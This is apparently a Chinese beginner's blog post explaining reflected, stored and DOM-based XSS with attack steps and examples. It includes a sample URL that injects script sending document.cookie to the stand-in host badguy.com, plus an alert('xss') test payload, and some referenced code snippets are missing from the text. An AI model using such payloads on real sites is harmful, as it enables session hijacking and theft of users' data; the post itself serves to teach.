这是我第一次写自己的技术博客,肯定有很多的不足和错误,如有不对之处,提前在此致歉并欢迎大家指正,文中部分引用已在文章结尾处的参考资料中列出,尊重原创,人人有责!
一直以来对web安全都很有兴趣,只是苦于现在的工作原因,并没有太多的时间和精力细细研究,今天突发奇想就是想把自己一直以来对web安全的理解和认知记录一下,一是做一个知识的总结,二也是方便自己日后的查阅。
说起web安全,那么就不得不提一下以下的常见漏洞和一般的防御方法。
一、 XSS (cross site scripting)
跨站脚本注入,是一个非常常见的web漏洞,也是见诸于各大web站点的常见漏洞, 主要分为以下3类:
1. 反射型XSS,
之所以称之为“反射型”,主要是因为通常恶意代码都没有保存在目标网站上,而是通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。
实施这种攻击的步骤如下图所示。
(点击查看大图)图12-3 反射型XSS攻击的实施步骤 |
(1) 用户正常登录应用程序,得到一个包含会话令牌的 cookie:
(2) 攻击者通过某种方法(详情见下文)向用户提交以下 URL:
和前面生成一个对话框消息的示例一样,这个URL包含嵌入式 JavaScript 代码。但是,这个示例中的攻击有效载荷更加恶毒。
(3) 用户从应用程序中请求攻击者传送给他们的URL。
(4) 服务器响应用户的请求。由于应用程序中存在XSS漏洞,响应中包含攻击者创建的 JavaScript代码。
(5) 用户浏览器收到攻击者的JavaScript代码,像执行从应用程序收到的其他代码一样,浏览器执行这段代码。
(6) 攻击者创建的恶意JavaScript代码为:
攻击者监控访问wahh-attacker.com的请求并收到用户的请求。攻击者使用截获的令牌劫持用户的会话,从而访问该用户的个人信息,并"代表"该用户执行任意操作。
2. 存储型XSS恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性,比较常见场景是在博客,论坛等社交网站上,但OA系统,和CRM系统上也能看到它身影,比如:某CRM系统的客户投诉功能上存在XSS存储型漏洞,黑客提交了恶意攻击代码,当系统管理员查看投诉信息时恶意代码执行,窃取了客户的资料,然而管理员毫不知情,这就是典型的XSS存储型攻击。
攻击过程如下:
Alex发现了网站A上有一个XSS 漏洞,该漏洞允许将攻击代码保存在数据库中,
Alex发布了一篇文章,文章中嵌入了恶意JavaScript代码。
其他人如Monica访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走。
3. 基于DOM的XSS在这种漏洞中,攻击者的JavaScript通过以下过程得以执行。
用户请求一个经过专门设计的URL,它由攻击者提交,且其中包含嵌入式JavaScript。
服务器的响应中并不以任何形式包含攻击者的脚本。
当用户的浏览器处理这个响应时,上述脚本得以处理。
这一系列事件如何发生呢?由于客户端JavaScript可以访问浏览器的文本对象模型(Document Object Model,DOM),因此它能够决定用于加载当前页面的 URL。由应用程序发布的一段脚本可以从URL中提取数据,对这些数据进行处理,然后用它动态更新页面的内容。如果这样,应用程序就可能易于受到基于DOM的XSS攻击。
回到前面的反射型XSS漏洞中的示例,其中服务器端应用程序将一个URL参数值复制到一条错误消息中。另一种实现相同功能的办法是由应用程序每次返回相同的静态 HTML,并使用客户端JavaScript动态生成消息内容。
例如,假设应用程序返回的错误页面包含以下脚本:
- https://wahh-app.com/error.php?message=<script>alert('xss');</script>
利用基于DOM的XSS漏洞的过程如图12-5所示。
(点击查看大图)图12-5 基于DOM的XSS攻击的实施步骤 |
举个例子:
Tom 发现了Victim.com中的一个页面有XSS漏洞,
例如: http://victim.com/search.asp?term=apple
服务器中Search.asp 页面的代码大概如下
<html> <title></title> <body> Results for <%Reequest.QueryString("term")%> ... </body> </html>
Tom 先建立一个网站http://badguy.com, 用来接收“偷”来的信息。
然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件,QQ)发给Monica
http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>
Monica点击了这个URL, 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.
(未完待续...)
参考资料:
http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html
http://www.cnblogs.com/Jackson-Bruce/p/XSS-Attachs.html
http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html
http://blog.csdn.net/stilling2006/article/details/8526458
http://book.51cto.com/art/200907/138873.htm